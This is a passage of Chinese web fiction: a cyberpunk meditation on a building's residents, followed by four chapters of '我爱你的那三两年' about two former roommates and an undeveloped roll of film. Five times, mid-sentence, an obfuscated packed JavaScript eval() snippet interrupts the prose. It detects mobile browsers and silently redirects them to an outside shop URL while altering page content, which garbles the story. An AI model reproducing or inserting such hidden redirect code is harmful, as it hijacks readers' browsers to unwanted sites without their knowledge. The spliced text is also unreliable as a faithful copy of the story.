而那个叫絮的女孩，她像是一阵捉不住的风，又像是一片随时会融化的雪。她流连于声色犬马的光影里，那是她保护自己的方式。她不敢停下来，因为一旦停下来，她就会发现自己一无所有。 “情”字一关，最是难过。 她们一个想要把爱变成墓碑，永垂不朽；一个想要把爱变成烟火，只求一瞬。 我在杯中倒了一盏茶。茶汤红亮，如琥珀。 我想对那个叫Z的孩子说：人生实苦，但请你足够相信，在这个薄情的世界里，深情地活着本身就是一种壮举。只是，莫要让这深情变成了刺向自己的利刃。那把落在地上的水果刀，倒映不出真正的誓言，只能倒映出你心中那头无处安放的困兽。 这世间的爱，大抵都是如此吧。或者是“鳄鱼”般的沉重，沉入水底；或者是“雪人”般的轻盈，消融于阳光。 她们在五楼的拉扯，不过是这红尘中两颗寂寞星辰的碰撞。撞碎了，是陨石；没撞碎，也不过是擦肩而过，各自奔赴下一个茫茫黑夜。 目光下移，穿过那些错综复杂的通风管道，我看到了三楼。 那里住着一个叫K的年轻人。 昨夜，我听到了他那只机械臂敲击墙壁的声音，那声音里充满了绝望的渴望。 他爱上了那个来自“城堡”的审判者S。多么荒谬，又多么合情合理的故事。在这个被代码和规则统治的世界里，权力本身就是最强力的春药。 K把自己异化成了一只甲虫，一只拥有钢铁义肢的怪物，只为了能爬进那座冰冷的城堡，去触碰那个高高在上的神。他以为那是爱，其实那不过是对秩序的跪拜。 而那个S，那个完美的执行者，他又何尝不是被困在另一层更高级的牢笼里？他用冰冷的面具隔绝了体温，以为这样就能免受伤害。殊不知，当一个人把自己变成机器的时候，他也同时失去了被拥抱的资格。 看着K在楼梯间里对着虚空伸出的那只手，我不禁叹息。 众生皆苦，苦在身不由己，更苦在作茧自缚。 我们都是这巨大系统里的一行代码，有人试图改写，结果变成了乱码；有人顺从运行，结果变成了死循环。K啊，你那只生锈的手臂，抓不住云端的幻影，只能抓住自己那一颗卑微跳动的心。 这第十七号表格，填与不填，其实并无分别。因为人生的荒谬之处就在于，我们总是在等待一个永远不会到来的判决，并在这等待中，耗尽了一生。 再往下，是一楼。那是这栋楼的根基，也是最潮湿、最阴暗的所在。 老陈和敏。 他们的故事没有五楼的激烈，也没有三楼的诡异。他们的故事像是一块长满青苔的石头，湿漉漉的，滑腻腻的，却又坚硬无比。 我听到了那个水龙头滴水的声音。滴答，滴答。 那是时间流逝的声音，也是婚姻被磨损的声音。 三十年前，他们也曾有过别的选择。但命运就像那辆没赶上的皮卡车，呼啸而过，只留下一地尘埃。于是，他们留在了这里，在合成肉的怪味和杜松子酒的辛辣中，互相折磨，又互相依偎。 这就是所谓的一世夫妻吧。 不是举案齐眉，也不是相敬如宾。而是在彼此最狼狈的时候，递过去一条毛巾；是在看透了对方的无能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088254|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和软弱之后，依然选择在同一张桌子上吃饭。 这种爱，粗糙得像砂纸，却能打磨掉生活中所有的棱角。 老陈想要修好那个水龙头，就像他想要修补自己千疮百孔的尊严。而敏，她看穿了一切，却选择了沉默。这沉默里，有着比语言更深沉的慈悲。 在这个赛博朋克的时代，年轻人在追求义体飞升，追求感官刺激，而一楼的这对老夫妻，却在用肉体凡胎，抵抗着虚无的侵蚀。他们是这栋楼里的压舱石，沉重，乏味，但真实。 最后，我的目光落在了那个刚刚从街道上跑回来的身影——那个叫223的男孩。 他手里握着一个古董传呼机，脸上洋溢着一种傻气的幸福。 他和那个女杀手的故事，就像是一罐过期的凤梨罐头，在这个保质期至上的城市里，显得格外突兀。 “如果不去加州，去你的配电室可以吗？” 这句话，大概是这雨夜里最动听的情话了。 在这个数据可以被无限复制的年代，这种“唯一性”显得多么珍贵。他们不知道明天会怎样，不知道那颗心脏起搏器什么时候会停，不知道传呼机的信号什么时候会断。 但就在这一刻，在这0.01公分的距离里，他们找到了彼此。 所有的相遇，都是久别重逢；所有的过期，都是为了下一次的新鲜。 我羡慕他们。羡慕那种还能在垃圾堆里捡到星星的运气，羡慕那种明知是死路还要往前撞的勇气。 太阳终于出来了。 或者说，是城市上空的那个人造太阳被点亮了。 金色的光辉穿透了酸雨云层，洒在了天台上，洒在了我的茶桌上，也洒在了楼下那千千万万个格子里。 光线照亮了五楼阳台上的碎纸屑，照亮了三楼楼梯间的机油渍，照亮了一楼厨房里的积水，也照亮了负一层的那个凤梨罐头。 在这光怪陆离的2049年，在这座充满故障与奇迹的巴别塔里，每个人都在用自己的方式活着，或者死去。 我端起茶杯，敬这满城的荒唐，敬这众生的悲喜。 且看那红尘滚滚，霓虹闪烁，终究不过是镜花水月一场。 我们都是寄居在这具皮囊里的异乡人，在这流光溢彩的废墟上，寻找着一条回家的路。路在何方？或许就在那一声叹息里，在那一滴眼泪里，在那一瞬间的拥抱里。 茶凉了。 该下楼了。去看看那个人造的日出，去听听这城市新一轮的喧嚣。 毕竟，活着，本就是一场关于忍耐与慈悲的漫长修行。 31. 《我爱你的那三两年》（1） 谢金城家的房子买在东三环，两百平的大平层，落地窗巨大得像一整个时代的切片。站在窗前，能看见北京城最昂贵的灯火像溃烂的伤口一样铺开，流淌着金色的脓水。 这是他儿子周岁宴的现场。 我站在玄关，手里攥着那个不算太厚的红包。红包的硬度有些硌手，里面是我半个月的工资，但在这个场合，它轻薄得像一张废纸。负责签到的礼仪小姐接过它，甚至没有捏一下厚度，就熟练地扔进了一旁的红木箱子里。 那一瞬间，我听见了一声极其轻微的闷响。那是我这几年的窘迫撞击在他辉煌人生壁垒上发出的声音。 没人听见。除了我。 屋里的冷气开得很足，混杂着高档香氛、婴儿奶粉和陈年威士忌的味道。这是一种名为“成功”的混合气体，吸进去肺叶都会感到一种阶级性的痉挛。客人们三三两两地聚在一起，男人们穿着剪裁考究的衬衫，袖扣在顶灯下折射出冷硬的光；女人们妆容精致，谈论的话题在学区房、私立医院和普拉提之间游走。 我找了个角落坐下，像个不合时宜的标点符号，被强行塞进了一篇辞藻华丽的骈文里。 “知序？你怎么躲这儿了？” 声音从头顶传来。我抬起头，看见了谢金城。 三十岁的谢金城。 他胖了一些。不是那种油腻的肥胖，而是生活优渥、无需奔波后生出的“富贵态”。他的脸颊不再像大学时那样棱角分明，皮肤被保养得很好，那种曾经属于少年的、因为贫穷和野心而滋生出的锐利感，已经被厚重的物质生活打磨得圆润光滑。 他穿着一件深灰色的羊绒衫，怀里抱着他的儿子。那孩子戴着一顶金灿灿的小皇冠，手里抓着一个纯金的长命锁。 “刚才还在找你。”谢金城腾出一只手，在他那仅仅是微凸的肚子上拍了拍，然后习惯性地想来搭我的肩膀。但因为抱着孩子，这个动作显得有些笨拙，最终只是在空中划了一个虚伪的半圆，落回了他自己的腿边。 “恭喜啊，老谢。”我站起来，端起手边的香槟。杯壁上有细密的水珠，沾湿了我的指纹，“孩子抓周抓了什么？” “抓了支钢笔。”谢金城笑起来，眼角的纹路里堆满了世俗的满足，“估计以后是个坐办公室的命，也好，风吹不着雨淋不着的。” 我跟着笑。我想起七年前，也是在这样一个深秋的晚上，我们挤在五环外那个漏风的出租屋里。他裹着一床发霉的棉被，手里夹着一支两块五的中性笔，在泛黄的草稿纸上疯狂地演算着未来的职业规划。那时候他说：“知序，我以后绝不坐办公室混日子，我要去那座金山上插旗。” 现在，他确实插上了旗。他把自己变成了金山的一部分。 “老婆，这是知序，我大学……最好的兄弟。”谢金城转过身，向走过来的女人介绍我。 那是他的妻子。温婉、大方，穿着一身米白色的真丝长裙，像一尊精心雕琢的玉像。她看着我，眼神里有一种礼貌的疏离和审视——那是女主人对丈夫早年穷朋友的特有态度：既要表现出得体，又要不动声色地划清界限。 “常听金城提起你。”她微笑着，声音像抛光过一样圆润，“说你们以前合租的时候，多亏你照顾他。” “都是过去的事了。”我点点头，感觉喉咙里像是卡了一根鱼刺，“那时候大家都难。” “是啊，都过去了。”谢金城接过话头，语气里带着一种成功者回望苦难时的轻佻感，“那时候是真穷，现在想想，也挺有意思的。” 挺有意思的。 那三两年里，我们为了省电费在大雪天不开暖气，两个人挤在一张单人床上瑟瑟发抖；我发高烧不敢去医院，他半夜爬起来给我物理降温，急得眼眶通红；我们在深夜的烧烤摊喝着廉价啤酒，对着肮脏的街道大喊大叫，发誓要操翻这个操蛋的世界。 现在，这些都被他归纳进了“挺有意思”这个轻飘飘的词条里，变成了他宏大叙事里一段用来佐证“忆苦思甜”的注脚。 孩子突然哭了起来，打破了这层虚假的温情。 “哎哟，可能是饿了。”妻子心疼地接过孩子，转身往卧室走去。谢金城看着妻儿的背影，眼神变得异常柔和。那种柔和像是一道铁闸，轰然落下，将我和他彻底隔绝在两个世界。 他转过头，重新看向我。那一瞬间，他眼里的柔光还没来得及收回，但我清楚地知道，那不是给我的。 “知序，你也该抓紧了。”他从侍者的托盘里拿起一杯酒，碰了碰我的杯子，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088255|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三十了，该定下来了。人生嘛，到了什么阶段就该做什么事。这叫秩序。” 秩序。 多讽刺，我的名字里就带着这两个字，可我却是他人生秩序里最大的那个乱码。 我看着他。落地窗外的光影投射在他身后，让他整个人看起来像是在发光。他站在那里，站在他的黄金时代里，周身流淌着正确、理性和秩序的血液。 我突然意识到，那个曾经会在醉酒后抱着我，把头埋在我颈窝里说“知序，这世界真他妈冷”的男孩，已经死了。 死因不明。尸骨无存。 取而代之的，是眼前这个标准的社会精英，这个完美的丈夫和父亲。他删改了所有的错误，修正了所有的偏航，终于把自己编辑成了一部畅销的、符合主流价值观的成功学著作。 而我，还有那三两年的记忆，不过是一页被撕掉的废稿，一张夹在书页里、因为受潮而模糊不清的旧便签。 “是啊，该抓紧了。”我仰起头，将杯子里的香槟一饮而尽。 酒液冰冷，顺着食道滑下去，像是一场迟到了七年的雪。 “你这房子不错。”我放下酒杯，指了指那巨大的落地窗，“视野真好，以前咱俩吹牛的时候，都不敢想这么大的窗户。” 谢金城笑了，这次的笑容里多了几分真诚的得意：“那是，当初看房，一眼就相中这窗户了。站在这儿往下看，感觉整个北京城都在脚底下。” 我顺着他的视线看过去。 玻璃反光，映出了我们两人的影子。他西装革履，挺拔如松；我衣着普通，像一株依附在墙角的苔藓。 你转身准备走了，谢金城。 在你这浩浩荡荡、金光闪闪的少年叙事里，究竟有没有哪怕一秒钟，闪过局部的我？ 或许有过吧。但那一定是在你按下“删除键”之前。 “我去招呼一下那边的张总，你随意啊，别客气，当自己家一样。”谢金城拍了拍我的肩膀，转身向着人群的中心走去。 我看着他的背影。他走得那么稳，每一步都踩在昂贵的地板上，发出沉闷而笃定的声响。 我站在原地，看着窗玻璃上那个模糊的、属于我的影子，轻声说了一句： “生日快乐。” 32. 《我爱你的那三两年》（2） 记忆的质感通常是潮湿的。 不像谢金城现在那套大平层里，恒温恒湿系统制造出的那种干燥、精英式的体面。那三两年的记忆，像是一块吸饱了脏水的海绵，稍微一用力挤压，就会流出浑浊的、带着铁锈味的液体。 那是在五环外，一个被城市规划遗忘的老旧小区。六楼，没有电梯。楼道里的声控灯常年是坏的，每一次上楼都需要用力跺脚，像是在向这座沉默的建筑宣示某种无力的愤怒。 我们合租的房子只有四十平米。墙皮因为受潮而剥落，露出里面灰败的水泥，像是一种久治不愈的皮肤病。 那时候我们刚毕业，穷得坦荡，也穷得惊心动魄。贫穷是一种极好的防腐剂，它暂时封存了阶级，也模糊了性别的边界。因为在生存这个巨大的命题面前，所谓的性取向，就像是肚子饿时讨论吃法餐还是日料一样，是一种极其奢侈的矫情。 那一年的冬天特别冷。老小区的暖气管道老化，屋里的温度常年徘徊在一种让人绝望的低值。 为了省电费，我们约定不开电暖气。两个大男人，挤在一张一米五的单人床上。 那种拥抱没有任何情色的意味，纯粹是两个恒温动物在极端环境下的抱团取暖。他的后背贴着我的前胸，脊椎骨凸起，硌得我生疼。我能感觉到他的体温，那是年轻雄性特有的、像火炉一样旺盛却又被现实压抑的体温。 我们就像两只被困在罐头里的沙丁鱼，浸泡在廉价的黑暗里。 “知序，睡了吗？” 黑暗中，谢金城的声音传来，带着鼻音。 “没。”我盯着天花板上那块像地图一样的霉斑。月光透进来，那块霉斑看起来像是一张扭曲的人脸。 “你说，咱们这日子什么时候是个头？”他翻了个身，面对着我。 他的呼吸喷在我的脸上，带着廉价牙膏的薄荷味，和一点点胃里反上来的酸气——那是晚餐吃多了打折泡面的后遗症。这种味道并不好闻，但在那个寒冷的冬夜，它构成了我生命中唯一的热源。 “快了。”我把被子往他那边掖了掖，“等你拿到那个大厂的offer，咱们就搬出去。” “我有时候在想……”他的声音突然低了下去，手在被窝里摸索着，抓住了我的手腕。 他的手心全是汗，湿热，黏腻。 “想什么？” “想如果你也是个女的就好了。”他笑了一声，那笑声里带着一种孩童般的残忍，“或者我是个女的。咱俩就在这破房子里过一辈子，也挺好。” 我浑身僵硬。 那是一个极其危险的瞬间。在这四十平米的真空里，社会规则暂时失效了，荷尔蒙和绝望混合在一起，发酵出一种名为“私奔”的幻觉。 那一刻，我几乎要脱口而出：“男的也没关系，我们可以过。” 但我没有。 我的目光越过他的肩膀，看到了窗户上凝结的冰花，那是室内外温差对抗后的尸体。还有角落里那个接漏水的塑料盆，正发出“滴答、滴答”的死板声响。 这就是现实的节拍器。 它在提醒我：这种所谓的“过一辈子”，不是浪漫，是发烂。 如果我们就在这里沉沦，那么这段感情最终会像墙角的霉菌一样，在贫穷和琐碎中疯狂滋长，然后发黑、腐烂，最后把我们两个人都变成散发着霉味的中年失败者。 他是要飞去金山插旗的人，不能烂在我的泥沼里。 “别说疯话。”我抽回手，转过身背对着他，声音冷硬得像窗外的冰凌，“赶紧睡。明天还得早起挤地铁。” 身后传来一声长长的叹息。那叹息声很重，像是某种重物落地的声音。 第二天，谢金城发烧了。 三十九度八。他烧得浑身滚烫，缩在被子里像只煮熟的虾米。 我不舍得打车，背着他下了六楼，去社区诊所输液。 那天风很大，像刀子一样割在脸上。谢金城趴在我的背上，意识模糊地哼唧着。他的重量压弯了我的脊梁，但我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088256|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却感到一种前所未有的踏实。 仿佛我背着的不是一个人，而是我的全部身家性命，是我在这个庞大、冷漠的城市里唯一的锚点。 在诊所输液的时候，他醒了一会儿。 头顶的白炽灯晃眼，输液管里的药水一滴一滴地流进他的血管。 “知序。”他声音嘶哑，眼睛直勾勾地盯着我，“我梦见咱们老了。” “嗯。”我用棉签沾了水，润湿他干裂的嘴唇，“老了什么样？” “老了还在一起。”他费力地扯出一个笑，“你还是这么抠门，连打车都不舍得。” 我鼻子一酸，差点在那惨白的灯光下掉下泪来。 “那是因为你太重了。”我骂他，“死沉死沉的，压得我喘不过气。” 其实我不怕重。 我怕的是，这短暂的重量，是我余生唯一能拥有的实体。 那三两年，就像是一个巨大的、廉价的真空包装袋。它抽干了外界的氧气，把我们紧紧地压缩在一起。我们在这个真空中共享体温、共享贫穷、共享对未来的恐惧。 我们以为那是爱。 或者说，我以为那是爱。而他以为那是相依为命的义气。 但真空是会漏气的。 当那个猎头电话打进来，当第一笔年终奖到账，当他第一次换上剪裁得体的西装站在镜子前时—— 噗嗤一声。 现实的空气涌了进来。那个发霉的真空环境瞬间瓦解。 他重新变回了那个光芒万丈的谢金城，那个属于CBD、属于头等舱、属于正确人生的谢金城。 而我，还留在那个充满了霉味和湿气的旧梦里，手里拿着一张已经过期的、关于“一辈子”的空头支票。 那三两年的账单，我一个人付了。 用我的整个青春，和余生所有的爱意，去支付那个漏雨的夜晚，他那一句不做数的“在一起”。 这笔买卖，真他妈亏。 但我居然，甘之如飴。 33. 《我爱你的那三两年》（3） 撕扯封箱胶带的声音，大概是这个世界上最接近骨肉分离的听觉模拟。 “刺啦——” 一声尖锐的啸叫划破了出租屋浑浊的空气。谢金城手里拿着那是卷宽胶带，正试图把一个塞满了书籍和杂物的纸箱封口。他的动作很狠，像是在勒死什么东西。 我坐在地板上，手里捏着一只已经空了的易拉罐，看着他在灰尘里忙碌。 那是搬家的前夜。或者更准确地说，是一场精密的外科手术现场。 手术的对象是我们这对连体婴般的“贫穷共同体”。主刀医生是资本主义，手术刀是一封来自海外总部的Offer。 三天前，那封邮件像神谕一样降临在他的戴尔笔记本屏幕上。全英文，薪资一栏的数字长得像一串乱码，换算成人民币足以让我们这间出租屋瞬间变成一个荒谬的笑话。 那是上帝发给谢金城的登船票。而我，是被洪水遗留在岸边的淤泥。 “这一箱是你的书。”谢金城用记号笔在箱子上写下“林”字，笔锋透着一股决绝的利落，“那堆衣服是我的。那个蓝色的漱口杯归你，我不带走了。” 物体正在被重新赋予归属权。 在那三两年里，物权是模糊的。牙膏是混用的，洗发水是一起买的，甚至内裤有时候混洗了也分不清楚谁是谁的。贫穷消融了“你”和“我”的边界，我们曾像两株纠缠在一起的藤蔓，共享着同一份养分和匮乏。 但现在，财富的预兆像一把锋利的剪刀，咔嚓一声，剪断了藤蔓。 你是你的，我是我的。 甚至连空气里的尘埃，似乎都开始自动站队。一部分附着在他的新秀丽行李箱上，准备以此为载体偷渡到大洋彼岸；另一部分则沉落在地板上，准备陪我继续在这个发霉的城市里苟延残喘。 “知序。” 谢金城突然停下了动作。他坐在那堆纸箱中间，背靠着斑驳的墙壁，从口袋里摸出一包软中华——这是为了庆祝拿到offer买的，也是我们这几年抽过最贵的烟。 他点了一根，深吸一口，火星在他指尖明灭。烟雾升腾起来，模糊了他那张因为兴奋和疲惫而显得有些扭曲的脸。 “怎么了？”我把易拉罐捏扁，铝制品发出一声脆响。 “我在想……”他吐出一口烟圈，眼神没有看我，而是盯着虚空中的某一点，“我要是走了，这儿就剩你一个了。” 这句话他说得很轻，像是一句毫无重量的陈述句。 但我听懂了里面的潜台词。那不是留恋，那是一种强者对弱者的、居高临下的悲悯。甚至，还夹杂着一丝恐惧——他怕我这个“旧时代的残党”会像水鬼一样缠住他的脚踝，把他拖回这滩泥沼里。 他在等我给他颁发“通行证”。 他在等我说：“滚吧，别管我。” 只有这样，他才能毫无心理负担地踏上他的黄金大道，去完成他的宏大叙事。 我看着他。屋顶的白炽灯泡在这个时刻适时地闪烁了两下，像是接触不良的神经末梢。 那一瞬间，我产生了一种极度荒诞的冲动。我想冲过去，按住他的肩膀，用最恶毒的语言诅咒他，告诉他：“你别想走，我们就该烂在一起，像两滩烂泥一样永远别分开。” 但我只是把手里捏扁的易拉罐扔进垃圾桶。 哐当。 这一声响，像是法官落下的锤。 “矫情什么。”我重新开了一罐啤酒，泡沫溢出来流在手上，像某种粘稠的□□，“四十平米又不是装不下我一个人。你走了，我正好独占这张床，省得天天闻你的脚臭。” 谢金城猛地转过头看我。 他眼里的光闪烁了一下，那是如释重负的光。他显然松了一口气，原本紧绷的肩膀也垮了下来。 “也是。”他笑了一下，有些勉强，又有些释然，“你这人向来独，一个人住没准更自在。” “对啊。”我灌了一大口酒，酒精辛辣，冲得我眼眶发热，“你去的是总部，以后就是Global Pay了，那是干大事的地方。别为了这点儿破事磨磨唧唧的，不像个爷们。” “干大事。”谢金城重复了一遍这三个字。 他把烟头按灭在满是灰尘的地板上，用力碾了碾，直到那一点火星彻底熄灭，变成一团黑色的灰烬。 “林知序，你记着。”他突然抬起头，眼神亮得吓人，“等我混出名堂了，我不会忘了兄弟。” 兄弟。 兄弟之间也会接吻，也会在某个阴冷潮湿的夜晚像是一把燃烧的火炬吗？ 这个词真好用。它像是一块巨大的遮羞布，盖住了所有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088257|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暧昧、所有的悸动，也盖住了我那点见不得光的私欲。它把一切都规训到了“社会关系”的安全范畴内。 “行，我等着你苟富贵勿相忘。” 我举起啤酒罐，隔着满地的纸箱，对他做了一个干杯的动作。 那一晚，我们再没说过话。 房间里只剩下胶带撕扯的声音，“刺啦——刺啦——”。 每一声，都在对我们的过去进行切割。 那是一种物理意义上的分割术。 他把属于他的“未来”打包进了箱子，封口，贴单。 而我，坐在属于我的“现在”里，看着他一点点把自己从这个房间里剥离出去。 第二天清晨，天刚蒙蒙亮。 货拉拉的司机在楼下狂按喇叭，催命一样。 谢金城拖着两个巨大的行李箱站在门口。他穿着那件为了面试新买的风衣，整个人挺拔得像一株新生的白杨。 出租屋的门敞开着，穿堂风呼啸而过，卷起地上的灰尘。 “走了。”他说。 他没有回头看这个住了两年的狗窝，也没有看那个接漏水的脸盆。他的目光越过我的肩膀，看向了楼道外那片灰白色的天空，那里有飞机的航线，有他的黄金叙事。 “走吧。”我靠在门框上，双手插兜，指甲深深地掐进肉里。 他转身下楼。行李箱的滚轮磕碰在水泥台阶上，发出沉闷的钝响。 一步，两步，三步。 声音越来越远，直到消失在楼道的拐角。 那一刻，我清楚地感觉到了“分岔”的发生。 不是那种“你在左我在右”的平面分岔。而是一种维度的分岔。 他向上升腾，成为了那个金光闪闪的精英阶层。 我向下沉降，继续做这个城市里的一粒尘埃。 那三两年的真空期，终于彻底破裂了。 现实的重力重新捕获了我。 我关上门。 房间空了一半，回声大得吓人。 我走到那面蒙满灰尘的镜子前，看着镜子里的自己。 “恭喜你，林知序。”我对镜子里的人说，“你刚刚亲手放生了你的太阳。” 镜子里的人没有哭，只是表情木然地点了点头。 像个合格的共犯。 34. 《我爱你的那三两年》（4） 繁华落尽后的寂静，往往比喧嚣更具有侵蚀性。 宾客散去，那套两百平米的豪宅迅速冷却下来。保姆像是一个被设定好程序的幽灵，无声地清理着地毯上的酒渍和蛋糕屑。谢金城的妻子抱着熟睡的孩子回了主卧，关门的声音轻得像是一声叹息，将这间屋子里的“家庭属性”和“社交属性”彻底切割开来。 只剩下我们两个。 谢金城松了松领带，那种精致的温莎结被扯歪了，露出一点疲惫的脖颈。 “去书房坐坐？”他提议。 他的书房是一座微缩的万神殿。四壁是胡桃木的书架，摆满了大部头的精装原版书——《国富论》、《基业长青》、还有各种关于并购与重组的法典。这些书脊挺括，没有一丝折痕，它们不是用来读的，是用来构建一种名为“精英”的景观。 空气里弥漫着雪茄和陈旧纸张的味道。 他拉开一把赫尔曼·米勒的人体工学椅示意我坐下，自己则靠在宽大的红木书桌旁，从抽屉里摸出一个烟盒。 “这里能抽烟，装了新风系统。”他点燃一支烟，深吸一口，原本紧绷的肩背线条在那一刻才真正垮塌下来，显露出一丝属于“人”的软弱。 我们就这样沉默地抽了一会儿烟。烟雾缭绕上升，然后迅速被头顶那个隐形的换气口吞噬。就像那些年我们在出租屋里的抱怨和梦想，还没来得及落地，就被生活的排风扇抽得一干二净。 “前阵子搬家，翻出个东西。” 谢金城突然转过身，拉开书桌最底层的抽屉。那个抽屉里没有文件，只有一些杂乱的旧物。他伸手在里面掏了掏，拿出一个黑色的塑料小圆筒。 是一个胶卷。柯达的，包装纸已经微微泛黄。 “那几年用的那个傻瓜相机，坏了之后一直扔在箱底。这卷胶卷好像还在里面，一直没洗。”他把那个小圆筒随手抛给我，动作随意得像是在丢弃一个用完的打火机，“送你吧。那时候都是你给我拍，我也忘了里面有什么，就当个念想。” 我接住那个胶卷。 塑料外壳冰凉，带着硬度。它躺在我的手心里，轻得像一颗子弹。 这是一枚时间的胶囊。它封存着那三两年的光线、灰尘和我们贫穷的呼吸。现在，谢金城把它像切除阑尾一样切除了，然后大方地赠予我这个唯一的见证人。 “行。”我把它揣进兜里，指尖触碰到那冰凉的圆柱体，“那我拿走了。” “拿走吧。”他掐灭了烟，眼神有些放空，“留在我这儿，早晚也是个丢。” 离开的时候，他坚持送我到电梯口。 电梯门缓缓合上，逐渐吞没了他那张保养得宜、写满成功的脸。在最后一丝缝隙闭合前，我看见他转身走向那扇巨大的落地窗，背影与这座城市的辉煌融为一体。 他安全了。他彻底剔除了最后的隐患。 回到我那个位于老破小的单身公寓，我没有开灯。 我翻出了那套简易的显影设备——这是我保留的少数几个文青习气之一。 卫生间变成了临时的暗房。红色的安全灯亮起，将狭小的空间染成一种类似子宫般粘稠的血色。 我把胶卷从暗盒里抽出来，缠上片轴，浸入显影液。 药水散发着一种刺鼻的酸味。我摇晃着罐子，听着液体撞击的声音，像是在摇晃一段被液化的记忆。 时间一分一秒过去。显影、定影、水洗。 当我把湿漉漉的底片挂起来，用放大镜去检视那些影像时，我感觉浑身的血液在一瞬间凝固了。 底片是反色的。黑即是白，白即是黑。 但在那颠倒的光影里，我认出了那些画面。 谢金城说谎了。或者说，他的记忆欺骗了他。 这卷胶卷里，没有一张是他。 第一张，是一个人的背影。穿着起球的灰色毛衣，正蹲在那个漏水的脸盆前洗衣服。那是我的背影。 第二张，是一个人的侧脸。趴在满是油渍的小餐桌上，手里握着笔在改方案，眉头紧锁。那是我的侧脸。 第三张，是一只手。特写。那只手正拿着创可贴，笨拙地想要撕开。背景是谢金城那条摔破了皮的腿。 第四张、第五张、第六张…… 全是林知序。 做饭的林知序，发呆的林知序，在阳台上抽烟的林知序，缩在被子里只露出一撮头发的林知序。 这些照片的构图极其刁钻，带着一种近乎贪婪的窥视感。 那种视角，不是朋友，不是兄弟，甚至不是室友。 那是一个深陷泥沼的人，在仰望他唯一的一根浮木；或者是一个即将逃亡的罪犯，在最后一次深情地凝视他的故乡。 每一张照片都在无声地尖叫。 那是被剥离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088258|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声音的爱意，是被他用理智强行按死在黑暗盒子里的光学反应。 在那三两年里，我以为我是那个卑微的暗恋者，在角落里觊觎着他的光芒。 原来，在他那部宏大的黄金叙事尚未成型之前，我也曾是他镜头里唯一的焦点，是他想保留却又不得不剪掉的那个“穿帮镜头”。 最后一张照片，是那间出租屋的窗户。 逆光，我在擦玻璃。阳光透过脏兮兮的玻璃洒进来，把我的轮廓镀上了一层毛茸茸的金边。 我把这张照片洗了出来。 相纸在药水中慢慢显影，像是一个幽灵浮出水面。 翻过照片，背面有一行字。 不是圆珠笔，是钢笔。字迹已经有些晕开了，那是他在把胶卷塞进相机之前，或者是拿出来之后，写在片头纸片上，后来又被我不小心转印下来的痕迹？不，这不重要。 重要的是那行字。 那是谢金城年轻时的笔迹，锋利、潦草，带着一种还没被社会磨平的棱角： “我所能想到的最好的未来，不过就是把你关在我的视线里。林知序，这是我最后一次看你。” “此后，我是正文，你只是勘误。” 我站在红色的暗房灯光下，手里捏着那张还在滴水的照片。 药水滴落在地板上，发出“哒、哒”的声音。 像极了那天他离开时，行李箱撞击台阶的钝响。 原来，早在那个转身离开的清晨之前，他就已经完成了这场谋杀。 他杀死了那个“爱着林知序的谢金城”，把尸体卷进了这个黑色的胶卷里，然后封存、遗忘。 他带着一身轻松，去做了那个正确的人。 我看着照片里那个在阳光下擦玻璃的自己，突然笑出了声。 笑着笑着，眼泪就流了下来，混进了脚下刺鼻的显影液里。 我想起那天他转身离开的背影。那时的阳光太刺眼了，刺眼到我看不清他转身时微红的眼眶，也听不见他心里震耳欲聋的告别。 